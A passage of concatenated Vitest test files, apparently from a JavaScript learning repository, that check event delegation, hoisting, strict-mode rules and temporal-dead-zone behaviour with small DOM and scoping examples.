= document.getElementById('toolbar') toolbar.addEventListener('click', (event) => { const action = event.target.dataset.action if (action && actions[action]) { actions[action]() } }) // Click save button container.querySelector('[data-action="save"]').click() expect(executedActions).toEqual(['save']) // Click delete button container.querySelector('[data-action="delete"]').click() expect(executedActions).toEqual(['save', 'delete']) // Click load button container.querySelector('[data-action="load"]').click() expect(executedActions).toEqual(['save', 'delete', 'load']) }) }) describe('Tab interface pattern', () => { // Source: docs/beyond/concepts/event-delegation.mdx:336-361 it('should switch tabs using delegation', () => { container.innerHTML = ` <div class="tabs"> <button class="tab" data-tab="home">Home</button> <button class="tab" data-tab="profile">Profile</button> <button class="tab" data-tab="settings">Settings</button> </div> <div class="tab-content" id="home">Home content</div> <div class="tab-content" id="profile" hidden>Profile content</div> <div class="tab-content" id="settings" hidden>Settings content</div> ` const tabsContainer = container.querySelector('.tabs') tabsContainer.addEventListener('click', (event) => { const tab = event.target.closest('.tab') if (!tab) return // Remove active class from all tabs container.querySelectorAll('.tab').forEach(t => t.classList.remove('active')) tab.classList.add('active') // Hide all content, show selected const tabId = tab.dataset.tab container.querySelectorAll('.tab-content').forEach(content => { content.hidden = content.id !== tabId }) }) // Click profile tab container.querySelector('[data-tab="profile"]').click() expect(container.querySelector('[data-tab="profile"]').classList.contains('active')).toBe(true) expect(container.querySelector('[data-tab="home"]').classList.contains('active')).toBe(false) expect(document.getElementById('profile').hidden).toBe(false) expect(document.getElementById('home').hidden).toBe(true) expect(document.getElementById('settings').hidden).toBe(true) // Click settings tab container.querySelector('[data-tab="settings"]').click() expect(container.querySelector('[data-tab="settings"]').classList.contains('active')).toBe(true) expect(container.querySelector('[data-tab="profile"]').classList.contains('active')).toBe(false) expect(document.getElementById('settings').hidden).toBe(false) expect(document.getElementById('profile').hidden).toBe(true) }) }) describe('Container boundary verification', () => { // Source: docs/beyond/concepts/event-delegation.mdx:468-482 it('should verify element is within container using contains()', () => { container.innerHTML = ` <table id="outer-table"> <tr> <td> Outer cell <table id="inner-table"> <tr><td id="inner-cell">Inner cell</td></tr> </table> </td> </tr> <tr><td id="outer-cell">Real outer cell</td></tr> </table> ` const outerTable = document.getElementById('outer-table') const innerCell = document.getElementById('inner-cell') const outerCell = document.getElementById('outer-cell') const handledCells = [] outerTable.addEventListener('click', (event) => { const td = event.target.closest('td') // Only handle cells that are direct children of outer table // Using a more specific check if (td && td.closest('table') === outerTable) { handledCells.push(td.id || 'unnamed') } }) // Click inner cell - should NOT be handled (belongs to inner table) innerCell.click() expect(handledCells).not.toContain('inner-cell') // Click outer cell - should be handled outerCell.click() expect(handledCells).toContain('outer-cell') }) }) describe('focusin/focusout delegation (bubbling alternatives)', () => { // Source: docs/beyond/concepts/event-delegation.mdx:444-461 it('should delegate focus events using focusin/focusout', () => { container.innerHTML = ` <form class="form"> <input type="text" id="input1" /> <input type="email" id="input2" /> </form> ` const form = container.querySelector('.form') const input1 = document.getElementById('input1') const input2 = document.getElementById('input2') const focusedInputs = [] const blurredInputs = [] // focusin and focusout bubble, unlike focus and blur form.addEventListener('focusin', (event) => { if (event.target.matches('input')) { event.target.classList.add('focused') focusedInputs.push(event.target.id) } }) form.addEventListener('focusout', (event) => { if (event.target.matches('input')) { event.target.classList.remove('focused') blurredInputs.push(event.target.id) } }) // Focus first input input1.focus() expect(focusedInputs).toContain('input1') expect(input1.classList.contains('focused')).toBe(true) // Focus second input (should blur first) input2.focus() expect(focusedInputs).toContain('input2') expect(blurredInputs).toContain('input1') expect(input2.classList.contains('focused')).toBe(true) expect(input1.classList.contains('focused')).toBe(false) }) }) describe('Common mistakes', () => { // Source: docs/beyond/concepts/event-delegation.mdx:519-530 describe('Mistake 1: Not using closest() for nested elements', () => { it('should demonstrate why matches() alone fails with nested elements', () => { container.innerHTML = ` <div class="container"> <button class="btn"> <span class="icon">X</span> <span class="text">Delete</span> </button> </div> ` const containerEl = container.querySelector('.container') const icon = container.querySelector('.icon') let matchesFound = false let closestFound = null containerEl.addEventListener('click', (event) => { // Wrong way - matches() returns false for child elements matchesFound = event.target.matches('.btn') // Right way - closest() finds the button ancestor closestFound = event.target.closest('.btn') }) // Click on the icon inside the button icon.click() // matches() fails because icon is not .btn expect(matchesFound).toBe(false) // closest() succeeds by traversing up to find .btn expect(closestFound).not.toBeNull() expect(closestFound.classList.contains('btn')).toBe(true) }) }) }) describe('Performance comparison', () => { // Source: docs/beyond/concepts/event-delegation.mdx:409-425 it('should handle many elements with single listener', () => { // Create 100 items container.innerHTML = '<ul class="list"></ul>' const list = container.querySelector('.list') for (let i = 0; i < 100; i++) { const li = document.createElement('li') li.className = 'item' li.dataset.id = i.toString() li.textContent = `Item ${i}` list.appendChild(li) } const clickedItems = [] // Single delegated listener handles all items list.addEventListener('click', (event) => { if (event.target.matches('.item')) { clickedItems.push(event.target.dataset.id) } }) // Click various items list.querySelector('[data-id="0"]').click() list.querySelector('[data-id="50"]').click() list.querySelector('[data-id="99"]').click() expect(clickedItems).toEqual(['0', '50', '99']) }) }) }) ================================================ FILE: tests/beyond/language-mechanics/hoisting/hoisting.test.js ================================================ import { describe, it, expect } from 'vitest' describe('Hoisting', () => { describe('Variable Hoisting with var', () => { it('should hoist var declarations and initialize to undefined', () => { function example() { const before = greeting var greeting = "Hello" const after = greeting return { before, after } } const result = example() expect(result.before).toBe(undefined) expect(result.after).toBe("Hello") }) it('should hoist var to function scope, not block scope', () => { function example() { if (true) { var message = "Inside block" } return message } expect(example()).toBe("Inside block") }) it('should hoist multiple var declarations', () => { function example() { const first = x var x = 1 const second = x var x = 2 const third = x return { first, second, third } } const result = example() expect(result.first).toBe(undefined) expect(result.second).toBe(1) expect(result.third).toBe(2) }) it('should allow var redeclaration without error', () => { var name = "Alice" var name = "Bob" var name = "Charlie" expect(name).toBe("Charlie") }) }) describe('let and const: Temporal Dead Zone', () => { it('should throw ReferenceError when accessing let before declaration', () => { expect(() => { eval(` const before = x let x = 10 `) }).toThrow(ReferenceError) }) it('should throw ReferenceError when accessing const before declaration', () => { expect(() => { eval(` const before = y const y = 20 `) }).toThrow(ReferenceError) }) it('should demonstrate that let IS hoisted by shadowing outer variable', () => { const outer = "outer" expect(() => { eval(` { // If inner 'x' wasn't hoisted, this would access outer 'x' // But we get ReferenceError, proving inner 'x' shadows outer from block start const value = outer let outer = "inner" } `) }).toThrow(ReferenceError) }) it('should work after declaration line is reached', () => { let x x = 10 expect(x).toBe(10) const y = 20 expect(y).toBe(20) }) it('should have separate TDZ for each block', () => { let x = "outer" { // New TDZ for this block's x let x = "inner1" expect(x).toBe("inner1") } { // Another new TDZ for this block's x let x = "inner2" expect(x).toBe("inner2") } expect(x).toBe("outer") }) }) describe('Function Declaration Hoisting', () => { it('should fully hoist function declarations', () => { // Can call before declaration const result = add(2, 3) function add(a, b) { return a + b } expect(result).toBe(5) }) it('should hoist function declarations in any order', () => { // Both functions can reference each other function isEven(n) { if (n === 0) return true return isOdd(n - 1) } function isOdd(n) { if (n === 0) return false return isEven(n - 1) } expect(isEven(4)).toBe(true) expect(isOdd(3)).toBe(true) expect(isEven(3)).toBe(false) expect(isOdd(4)).toBe(false) }) it('should hoist function inside blocks (in non-strict mode behavior)', () => { // Function declared inside block function example() { if (true) { function inner() { return "inner" } return inner() } } expect(example()).toBe("inner") }) }) describe('Function Expression Hoisting', () => { it('should throw TypeError for var function expression called before assignment', () => { expect(() => { eval(` greet() var greet = function() { return "Hello" } `) }).toThrow(TypeError) }) it('should throw ReferenceError for let/const function expression in TDZ', () => { expect(() => { eval(` greet() const greet = function() { return "Hello" } `) }).toThrow(ReferenceError) }) it('should work after assignment for var function expression', () => { var greet expect(greet).toBe(undefined) greet = function() { return "Hello" } expect(greet()).toBe("Hello") }) it('should work after declaration for const function expression', () => { const greet = function() { return "Hello" } expect(greet()).toBe("Hello") }) }) describe('Arrow Function Hoisting', () => { it('should throw ReferenceError for arrow function in TDZ', () => { expect(() => { eval(` sayHi() const sayHi = () => "Hi" `) }).toThrow(ReferenceError) }) it('should work after declaration', () => { const sayHi = () => "Hi" expect(sayHi()).toBe("Hi") }) it('should follow same rules as function expressions', () => { // Arrow functions are always expressions const multiply = (a, b) => a * b const add = function(a, b) { return a + b } expect(multiply(3, 4)).toBe(12) expect(add(3, 4)).toBe(7) }) }) describe('Class Hoisting', () => { it('should throw ReferenceError when using class before declaration', () => { expect(() => { eval(` const dog = new Animal("Buddy") class Animal { constructor(name) { this.name = name } } `) }).toThrow(ReferenceError) }) it('should work after class declaration', () => { class Animal { constructor(name) { this.name = name } } const dog = new Animal("Buddy") expect(dog.name).toBe("Buddy") }) it('should throw ReferenceError for class expression before declaration', () => { expect(() => { eval(` new MyClass() const MyClass = class {} `) }).toThrow(ReferenceError) }) }) describe('Hoisting Precedence and Order', () => { it('should have function declarations win over var initially', () => { function example() { const typeAtStart = typeof myValue var myValue = "string" function myValue() { return "function" } const typeAtEnd = typeof myValue return { typeAtStart, typeAtEnd } } const result = example() // Function is hoisted over var initially expect(result.typeAtStart).toBe("function") // But var assignment overwrites it expect(result.typeAtEnd).toBe("string") }) it('should merge multiple var declarations', () => { var x = 1 expect(x).toBe(1) var x = 2 expect(x).toBe(2) var x = 3 expect(x).toBe(3) }) it('should hoist var without value if only declared later', () => { function example() { const first = x var x const second = x x = 5 const third = x return { first, second, third } } const result = example() expect(result.first).toBe(undefined) expect(result.second).toBe(undefined) expect(result.third).toBe(5) }) }) describe('Common Hoisting Pitfalls', () => { it('should demonstrate the function expression trap', () => { // This is the #1 hoisting mistake function example() { try { return sum(2, 3) } catch (e) { return e.name } finally { // eslint-disable-next-line no-unused-vars var sum = function(a, b) { return a + b } } } expect(example()).toBe("TypeError") }) it('should work when using function declaration instead', () => { function example() { return sum(2, 3) function sum(a, b) { return a + b } } expect(example()).toBe(5) }) it('should demonstrate var loop problem with closures', () => { const funcs = [] for (var i = 0; i < 3; i++) { funcs.push(function() { return i }) } // All return 3 because they share the same hoisted 'i' expect(funcs[0]()).toBe(3) expect(funcs[1]()).toBe(3) expect(funcs[2]()).toBe(3) }) it('should fix loop problem with let', () => { const funcs = [] for (let i = 0; i < 3; i++) { funcs.push(function() { return i }) } // Each iteration gets its own 'i' expect(funcs[0]()).toBe(0) expect(funcs[1]()).toBe(1) expect(funcs[2]()).toBe(2) }) }) describe('Test Your Knowledge Examples', () => { it('Question 1: var hoisting returns undefined then value', () => { function example() { const results = [] results.push(x) var x = 10 results.push(x) return results } const [first, second] = example() expect(first).toBe(undefined) expect(second).toBe(10) }) it('Question 2: let throws ReferenceError', () => { expect(() => { eval(` console.log(y) let y = 20 `) }).toThrow(ReferenceError) }) it('Question 3: var function expression throws TypeError', () => { expect(() => { eval(` sayHi() var sayHi = function() { console.log("Hi!") } `) }).toThrow(TypeError) }) it('Question 4: function declaration works before definition', () => { function example() { return sayHello() function sayHello() { return "Hello!" } } expect(example()).toBe("Hello!") }) it('Question 5: function vs var same name', () => { function example() { var a = 1 function a() { return 2 } return typeof a } expect(example()).toBe("number") }) it('Question 6: inner const shadows outer due to hoisting', () => { const x = "outer" function test() { // The const x below IS hoisted and creates TDZ from start of function // So accessing x here tries to access the inner x which is in TDZ try { // eslint-disable-next-line no-unused-vars const result = x // This x refers to inner x (TDZ!) const x = "inner" return result } catch (e) { return e.name } } // The const x inside the try block shadows outer x due to hoisting expect(test()).toBe("ReferenceError") }) }) describe('Edge Cases', () => { it('should handle nested function hoisting', () => { function outer() { const result = inner() function inner() { return deepest() function deepest() { return "deep" } } return result } expect(outer()).toBe("deep") }) it('should handle var in catch block', () => { try { throw new Error("test") } catch (e) { var caught = e.message } // var escapes the catch block expect(caught).toBe("test") }) it('should not hoist variables from eval in strict mode', () => { // In strict mode, eval has its own scope "use strict" eval('var evalVar = "from eval"') // evalVar is not accessible outside eval in strict mode expect(typeof evalVar).toBe("undefined") }) it('should hoist function parameters like var', () => { function example(a) { const typeAtStart = typeof a var a = "reassigned" const typeAfter = typeof a return { typeAtStart, typeAfter } } const result = example(42) expect(result.typeAtStart).toBe("number") expect(result.typeAfter).toBe("string") }) it('should handle default parameter TDZ', () => { // Earlier parameters can be used in later defaults function test(a = 1, b = a + 1) { return a + b } expect(test()).toBe(3) // a=1, b=2 expect(test(5)).toBe(11) // a=5, b=6 expect(test(5, 10)).toBe(15) // a=5, b=10 }) it('should throw for later parameter used in earlier default', () => { expect(() => { eval(` function test(a = b, b = 2) { return a + b } test() `) }).toThrow(ReferenceError) }) }) describe('Real-World Patterns', () => { it('should enable module pattern with hoisted functions', () => { function createCounter() { // Variables must be declared before return (let/const don't hoist values) // But functions ARE fully hoisted, so we can reference them before definition let count = 0 return { increment, decrement, getValue } // Function implementations below - these ARE hoisted function increment() { return ++count } function decrement() { return --count } function getValue() { return count } } const counter = createCounter() expect(counter.increment()).toBe(1) expect(counter.increment()).toBe(2) expect(counter.decrement()).toBe(1) expect(counter.getValue()).toBe(1) }) it('should demonstrate readable code structure with hoisting', () => { // Public API at the top function processUser(user) { validate(user) const formatted = format(user) return save(formatted) // Implementation details below function validate(u) { if (!u.name) throw new Error("Name required") } function format(u) { return { ...u, name: u.name.toUpperCase() } } function save(u) { return { ...u, saved: true } } } const result = processUser({ name: "alice", age: 30 }) expect(result.name).toBe("ALICE") expect(result.saved).toBe(true) }) }) describe('Documentation Examples', () => { describe('Why TDZ Exists (MDX lines 220-225)', () => { it('should throw ReferenceError when inner let shadows outer, not access outer value', () => { // This demonstrates WHY the TDZ exists - to prevent confusing behavior // where you might accidentally reference an outer variable const x = "outer" function example() { // Without TDZ, this might confusingly print "outer" // With TDZ, JavaScript tells you something is wrong try { // eslint-disable-next-line no-unused-vars const value = x // Tries to access inner x which is in TDZ // eslint-disable-next-line no-unused-vars let x = "inner" return value } catch (e) { return e.name } } // The inner let x shadows outer x from the start of the function // so we get ReferenceError instead of "outer" expect(example()).toBe("ReferenceError") // But outer x is still accessible outside the function expect(x).toBe("outer") }) }) describe('Best Practices', () => { describe('1. Declare variables at top of scope (MDX lines 542-554)', () => { // This tests the processUser example from Best Practice 1 function processUser(user) { // All declarations at the top const name = user.name const email = user.email let isValid = false // Logic follows if (name && email) { isValid = true } return isValid } it('should validate user with name and email', () => { expect(processUser({ name: "Alice", email: "alice@example.com" })).toBe(true) }) it('should invalidate user without email', () => { expect(processUser({ name: "Alice" })).toBe(false) }) it('should invalidate user without name', () => { expect(processUser({ email: "alice@example.com" })).toBe(false) }) }) describe('2. Prefer const > let > var (MDX lines 562-567)', () => { it('should not allow const reassignment', () => { expect(() => { eval(` const API_URL = 'https://api.example.com' API_URL = 'https://other.com' `) }).toThrow(TypeError) }) it('should allow let reassignment', () => { let currentUser = null currentUser = { name: "Alice" } currentUser = { name: "Bob" } expect(currentUser.name).toBe("Bob") }) it('should allow var reassignment and redeclaration', () => { var counter = 0 counter = 1 var counter = 2 // Redeclaration allowed with var expect(counter).toBe(2) }) }) describe('3. Use function declarations for named functions (MDX lines 577-583)', () => { it('should hoist function declaration (calculateTotal can be called before definition)', () => { // Function declaration is fully hoisted const items = [{ price: 10 }, { price: 20 }, { price: 30 }] const result = calculateTotal(items) function calculateTotal(items) { return items.reduce((sum, item) => sum + item.price, 0) } expect(result).toBe(60) }) it('should work with arrow function after declaration (calculateTax)', () => { const calculateTax = (amount) => amount * 0.1 expect(calculateTax(100)).toBe(10) expect(calculateTax(250)).toBe(25) }) it('should throw ReferenceError if arrow function called before declaration', () => { expect(() => { eval(` calculateTax(100) const calculateTax = (amount) => amount * 0.1 `) }).toThrow(ReferenceError) }) }) describe('5. Don\'t rely on hoisting for variable values (MDX lines 605-615)', () => { it('should show bad pattern: var x is undefined before assignment', () => { function bad() { const valueBeforeAssignment = x // undefined - works but confusing var x = 5 const valueAfterAssignment = x return { before: valueBeforeAssignment, after: valueAfterAssignment } } const result = bad() expect(result.before).toBe(undefined) expect(result.after).toBe(5) }) it('should show good pattern: const x is properly defined', () => { function good() { const x = 5 return x // 5 - clear and predictable } expect(good()).toBe(5) }) }) }) }) }) ================================================ FILE: tests/beyond/language-mechanics/strict-mode/strict-mode.test.js ================================================ import { describe, it, expect } from 'vitest' describe('Strict Mode', () => { // =========================================== // Part 1: Accidental Global Variables // =========================================== describe('Part 1: Accidental Global Variables', () => { it('should demonstrate how sloppy mode creates accidental globals', () => { // In sloppy mode, assigning to an undeclared variable creates a global // We can simulate this behavior (but won't actually pollute global scope) function sloppyBehavior() { // Simulating what would happen in sloppy mode: // undeclaredVar = 'leaked' would create window.undeclaredVar const globals = {} // This mimics sloppy mode's behavior of auto-creating globals function assignToUndeclared(varName, value) { globals[varName] = value // Leaks to "global" scope } assignToUndeclared('mistypedVariable', 42) return globals.mistypedVariable } expect(sloppyBehavior()).toBe(42) }) it('should show that strict mode catches undeclared variable assignments', () => { // In strict mode, assigning to undeclared variable throws ReferenceError // We test the expected behavior pattern function strictBehavior() { 'use strict' // In strict mode, we must declare variables first let declaredVariable declaredVariable = 42 // This works return declaredVariable } expect(strictBehavior()).toBe(42) }) it('should demonstrate the difference with a practical typo scenario', () => { // This shows why strict mode is valuable for catching typos function calculateTotalStrict(price, taxRate) { 'use strict' // Proper declaration - no typos const total = price * (1 + taxRate) return total } // Using toBeCloseTo for floating-point comparison expect(calculateTotalStrict(100, 0.1)).toBeCloseTo(110, 10) }) }) // =========================================== // Part 2: Silent Assignment Failures // =========================================== describe('Part 2: Silent Assignment Failures', () => { it('should demonstrate that read-only properties throw in strict mode', () => { 'use strict' const obj = {} Object.defineProperty(obj, 'readOnly', { value: 42, writable: false }) // Attempting to write to a read-only property throws TypeError expect(() => { obj.readOnly = 100 }).toThrow(TypeError) // Original value unchanged expect(obj.readOnly).toBe(42) }) it('should demonstrate getter-only properties throw on assignment', () => { 'use strict' const obj = { get value() { return 'constant' } } // Attempting to set a getter-only property throws TypeError expect(() => { obj.value = 'new value' }).toThrow(TypeError) expect(obj.value).toBe('constant') }) it('should demonstrate non-extensible objects throw on new property', () => { 'use strict' const obj = { existing: 1 } Object.preventExtensions(obj) // Can still modify existing properties obj.existing = 2 expect(obj.existing).toBe(2) // But adding new properties throws TypeError expect(() => { obj.newProperty = 'test' }).toThrow(TypeError) }) it('should demonstrate frozen objects are completely immutable', () => { 'use strict' const frozen = Object.freeze({ x: 1, y: 2 }) // Cannot modify existing properties expect(() => { frozen.x = 100 }).toThrow(TypeError) // Cannot add new properties expect(() => { frozen.z = 3 }).toThrow(TypeError) // Cannot delete properties expect(() => { delete frozen.x }).toThrow(TypeError) // Values unchanged expect(frozen.x).toBe(1) expect(frozen.y).toBe(2) }) }) // =========================================== // Part 3: Delete Restrictions // =========================================== describe('Part 3: Delete Restrictions', () => { it('should demonstrate deleting non-configurable properties throws', () => { 'use strict' const obj = {} Object.defineProperty(obj, 'permanent', { value: 'cannot delete', configurable: false }) // Attempting to delete non-configurable property throws TypeError expect(() => { delete obj.permanent }).toThrow(TypeError) expect(obj.permanent).toBe('cannot delete') }) it('should allow deleting configurable properties', () => { 'use strict' const obj = { deletable: 'can delete' } expect(obj.deletable).toBe('can delete') expect(delete obj.deletable).toBe(true) expect(obj.deletable).toBe(undefined) }) it('should demonstrate that built-in properties are non-configurable', () => { 'use strict' // Array.prototype is non-configurable expect(() => { delete Array.prototype }).toThrow(TypeError) // Array length is non-configurable on existing arrays const arr = [1, 2, 3] expect(() => { delete arr.length }).toThrow(TypeError) }) }) // =========================================== // Part 4: `this` Behavior // =========================================== describe('Part 4: this Behavior', () => { it('should demonstrate this is undefined in strict mode function calls', () => { 'use strict' function getThis() { return this } // Direct function call - this is undefined in strict mode expect(getThis()).toBe(undefined) }) it('should demonstrate this is still the object when called as method', () => { 'use strict' const obj = { value: 42, getValue() { return this.value } } // Method call - this is the object expect(obj.getValue()).toBe(42) }) it('should demonstrate call/apply/bind still work to set this', () => { 'use strict' function greet() { return `Hello, ${this.name}` } const person = { name: 'Alice' } // call sets this expect(greet.call(person)).toBe('Hello, Alice') // apply sets this expect(greet.apply(person)).toBe('Hello, Alice') // bind creates new function with fixed this const boundGreet = greet.bind(person) expect(boundGreet()).toBe('Hello, Alice') }) it('should demonstrate primitives are not boxed when passed to call/apply', () => { 'use strict' function getThisType() { return typeof this } // In strict mode, primitives passed to call/apply stay as primitives expect(getThisType.call(42)).toBe('number') expect(getThisType.call('hello')).toBe('string') expect(getThisType.call(true)).toBe('boolean') // null and undefined are passed through as-is expect(getThisType.call(null)).toBe('object') // typeof null === 'object' expect(getThisType.call(undefined)).toBe('undefined') }) it('should demonstrate arrow functions inherit this regardless of strict mode', () => { 'use strict' // Create a function that creates an object with arrow function // to demonstrate that arrow functions capture 'this' from definition scope function createObj() { // 'this' inside a strict mode function call is undefined const capturedThis = this // undefined return { value: 100, getValueArrow: () => { // Arrow function captures 'this' from createObj's scope return capturedThis }, getValueRegular() { // Regular function: this is the object return this.value } } } const obj = createObj() expect(obj.getValueRegular()).toBe(100) // Arrow function's this is from enclosing scope (undefined in strict mode) expect(obj.getValueArrow()).toBe(undefined) }) }) // =========================================== // Part 5: Duplicate Parameters // =========================================== describe('Part 5: Duplicate Parameters (Syntax Restrictions)', () => { it('should demonstrate unique parameters work correctly', () => { 'use strict' function add(a, b, c) { return a + b + c } expect(add(1, 2, 3)).toBe(6) }) it('should show the sloppy mode duplicate parameter confusion', () => { // In sloppy mode, duplicate params shadow earlier ones // This simulates what happens: function sum(a, a, c) uses last 'a' function simulateSloppyDuplicate(firstA, secondA, c) { // In sloppy mode with function(a, a, c), only second 'a' is accessible return secondA + secondA + c } // sum(1, 2, 3) with duplicate 'a' returns 2 + 2 + 3 = 7, not 1 + 2 + 3 = 6 expect(simulateSloppyDuplicate(1, 2, 3)).toBe(7) }) // Note: We can't actually test that strict mode throws SyntaxError for // duplicate parameters because that's a parse-time error. The test file // itself wouldn't parse if we included such code. }) // =========================================== // Part 6: eval and arguments Restrictions // =========================================== describe('Part 6: eval and arguments Restrictions', () => { it('should demonstrate eval does not leak variables in strict mode', () => { 'use strict' // In strict mode, eval creates its own scope eval('var evalVar = "inside eval"') // evalVar is NOT accessible outside eval in strict mode expect(() => evalVar).toThrow(ReferenceError) }) it('should demonstrate arguments object is independent of parameters', () => { 'use strict' function testArguments(a) { const originalA = a const originalArg0 = arguments[0] // Modify arguments[0] arguments[0] = 999 // In strict mode, 'a' is NOT affected expect(a).toBe(originalA) expect(arguments[0]).toBe(999) // Modify parameter a = 888 // arguments[0] is NOT affected expect(arguments[0]).toBe(999) expect(a).toBe(888) return { a, arg0: arguments[0] } } const result = testArguments(42) expect(result.a).toBe(888) expect(result.arg0).toBe(999) }) it('should demonstrate arguments.callee throws in strict mode', () => { 'use strict' function testCallee() { return arguments.callee } // Accessing arguments.callee throws TypeError in strict mode expect(() => testCallee()).toThrow(TypeError) }) }) // =========================================== // Part 7: Octal Literals // =========================================== describe('Part 7: Octal Literals', () => { it('should demonstrate 0o prefix works for octal numbers', () => { 'use strict' // Modern octal syntax with 0o prefix const octal = 0o755 expect(octal).toBe(493) // 7*64 + 5*8 + 5 = 493 const octal10 = 0o10 expect(octal10).toBe(8) }) it('should demonstrate other number prefixes work correctly', () => { 'use strict' // Binary with 0b prefix expect(0b1010).toBe(10) expect(0b11111111).toBe(255) // Hexadecimal with 0x prefix expect(0xFF).toBe(255) expect(0x10).toBe(16) // Octal with 0o prefix expect(0o777).toBe(511) }) // Note: We can't test that 0755 (legacy octal) throws SyntaxError // because that would be a parse-time error in strict mode }) // =========================================== // Part 8: Reserved Words // =========================================== describe('Part 8: Reserved Words', () => { it('should demonstrate that reserved words cannot be object property shorthand', () => { 'use strict' // Reserved words CAN be used as property names with quotes or computed const obj = { 'implements': true, 'interface': true, 'private': true, 'public': true, 'static': true } expect(obj.implements).toBe(true) expect(obj.interface).toBe(true) expect(obj['private']).toBe(true) }) it('should show that static works in class context', () => { 'use strict' class MyClass { static staticMethod() { return 'static works' } static staticProperty = 'static property' } expect(MyClass.staticMethod()).toBe('static works') expect(MyClass.staticProperty).toBe('static property') }) }) // =========================================== // Part 9: Practical Scenarios // =========================================== describe('Part 9: Practical Scenarios', () => { it('should catch common typo bugs early', () => { 'use strict' function processOrder(order) { // All variables properly declared const subtotal = order.items.reduce((sum, item) => sum + item.price, 0) const tax = subtotal * order.taxRate const total = subtotal + tax return { subtotal, tax, total } } const order = { items: [{ price: 10 }, { price: 20 }], taxRate: 0.1 } const result = processOrder(order) expect(result.subtotal).toBe(30) expect(result.tax).toBe(3) expect(result.total).toBe(33) }) it('should work correctly with classes (automatic strict mode)', () => { // Classes are always in strict mode class Counter { #count = 0 // Private field increment() { this.#count++ } getCount() { return this.#count } } const counter = new Counter() expect(counter.getCount()).toBe(0) counter.increment() counter.increment() expect(counter.getCount()).toBe(2) }) it('should demonstrate safe object manipulation', () => { 'use strict' // Create an object with controlled mutability const config = Object.freeze({ apiUrl: 'https://api.example.com', timeout: 5000, retries: 3 }) // Verify immutability expect(() => { config.apiUrl = 'https://other.com' }).toThrow(TypeError) expect(config.apiUrl).toBe('https://api.example.com') }) }) }) ================================================ FILE: tests/beyond/language-mechanics/temporal-dead-zone/temporal-dead-zone.test.js ================================================ import { describe, it, expect } from 'vitest' describe('Temporal Dead Zone', () => { describe('Basic TDZ Behavior', () => { describe('let declarations', () => { it('should throw ReferenceError when accessing let before declaration', () => { expect(() => { eval(` const value = x let x = 10 `) }).toThrow(ReferenceError) }) it('should work correctly when accessed after declaration', () => { let x = 10 expect(x).toBe(10) }) }) describe('const declarations', () => { it('should throw ReferenceError when accessing const before declaration', () => { expect(() => { eval(` const value = y const y = 20 `) }).toThrow(ReferenceError) }) it('should work correctly when accessed after declaration', () => { const y = 20 expect(y).toBe(20) }) }) describe('var declarations (no TDZ)', () => { it('should return undefined when accessing var before declaration', () => { function example() { const before = x var x = 10 const after = x return { before, after } } const result = example() expect(result.before).toBe(undefined) expect(result.after).toBe(10) }) it('should demonstrate var hoisting to function scope', () => { function example() { if (false) { var x = 10 } return x // undefined, not ReferenceError } expect(example()).toBe(undefined) }) }) }) describe('TDZ Boundaries', () => { it('should start TDZ at the beginning of the block', () => { expect(() => { eval(` { // TDZ starts here const value = name let name = "Alice" } `) }).toThrow(ReferenceError) }) it('should end TDZ at the declaration line', () => { { // TDZ for 'name' exists here let name = "Alice" // TDZ ends here expect(name).toBe("Alice") } }) it('should allow function definitions that reference TDZ variables', () => { // This is the key "temporal" aspect { const getX = () => x // Function defined before x is initialized let x = 42 // Calling after initialization works! expect(getX()).toBe(42) } }) it('should throw if function is called during TDZ', () => { expect(() => { eval(` { const getX = () => x getX() // Called before x is initialized let x = 42 } `) }).toThrow(ReferenceError) }) it('should have separate TDZ per block scope', () => { let x = "outer" { // New TDZ for inner x starts here // The outer x is shadowed but we can't access inner x yet expect(() => { eval(` { let outer = x // This x refers to inner, which is in TDZ let x = "inner" } `) }).toThrow(ReferenceError) } expect(x).toBe("outer") }) }) describe('TDZ with typeof', () => { it('should throw ReferenceError when using typeof on TDZ variable', () => { expect(() => { eval(` { typeof x // ReferenceError! let x = 10 } `) }).toThrow(ReferenceError) }) it('should return "undefined" for undeclared variables (no TDZ)', () => { // This is the key difference from undeclared variables expect(typeof undeclaredVariable).toBe("undefined") }) it('should work after TDZ ends', () => { let x = 10 expect(typeof x).toBe("number") }) }) describe('TDZ in Default Parameters', () => { it('should allow later parameters to reference earlier ones', () => { function test(a = 1, b = a + 1) { return { a, b } } expect(test()).toEqual({ a: 1, b: 2 }) expect(test(5)).toEqual({ a: 5, b: 6 }) expect(test(5, 10)).toEqual({ a: 5, b: 10 }) }) it('should throw when earlier parameters reference later ones', () => { expect(() => { eval(` function test(a = b, b = 2) { return a + b } test() `) }).toThrow(ReferenceError) }) it('should throw on self-reference in default parameter', () => { expect(() => { eval(` function test(a = a) { return a } test() `) }).toThrow(ReferenceError) }) it('should allow referencing outer scope variables in defaults', () => { const outer = 100 function test(a = outer, b = a + 1) { return { a, b } } expect(test()).toEqual({ a: 100, b: 101 }) }) }) describe('TDZ in Destructuring', () => { it('should throw on self-referencing destructuring', () => { expect(() => { eval(` let { x = x } = {} `) }).toThrow(ReferenceError) }) it('should throw when later destructured variable references earlier in TDZ', () => { expect(() => { eval(` let { a = b, b = 1 } = {} `) }).toThrow(ReferenceError) }) it('should allow earlier destructured variables to be used by later ones', () => { let { a = 1, b = a + 1 } = {} expect(a).toBe(1) expect(b).toBe(2) }) it('should work with provided values', () => { let { a = 1, b = a + 1 } = { a: 10, b: 20 } expect(a).toBe(10) expect(b).toBe(20) }) }) describe('TDZ in Loops', () => { it('should throw for for...of header self-reference', () => { expect(() => { eval(` for (let n of n.values) { console.log(n) } `) }).toThrow(ReferenceError) }) it('should create fresh binding per iteration with let', () => { const funcs = [] for (let i = 0; i < 3; i++) { funcs.push(() => i) } // Each closure captures a different i expect(funcs[0]()).toBe(0) expect(funcs[1]()).toBe(1) expect(funcs[2]()).toBe(2) }) it('should share binding across iterations with var (no TDZ)', () => { const funcs = [] for (var i = 0; i < 3; i++) { funcs.push(() => i) } // All closures share the same i expect(funcs[0]()).toBe(3) expect(funcs[1]()).toBe(3) expect(funcs[2]()).toBe(3) }) it('should have TDZ in for...in loop header', () => { expect(() => { eval(` for (let key in key.split('')) { console.log(key) } `) }).toThrow(ReferenceError) }) }) describe('TDZ with class Declarations', () => { it('should throw ReferenceError when accessing class before declaration', () => { expect(() => { eval(` const instance = new MyClass() class MyClass { constructor() { this.value = 42 } } `) }).toThrow(ReferenceError) }) it('should work when class is accessed after declaration', () => { class MyClass { constructor() { this.value = 42 } } const instance = new MyClass() expect(instance.value).toBe(42) }) it('should throw when class references itself in extends before declaration', () => { expect(() => { eval(` class A extends A {} `) }).toThrow(ReferenceError) }) 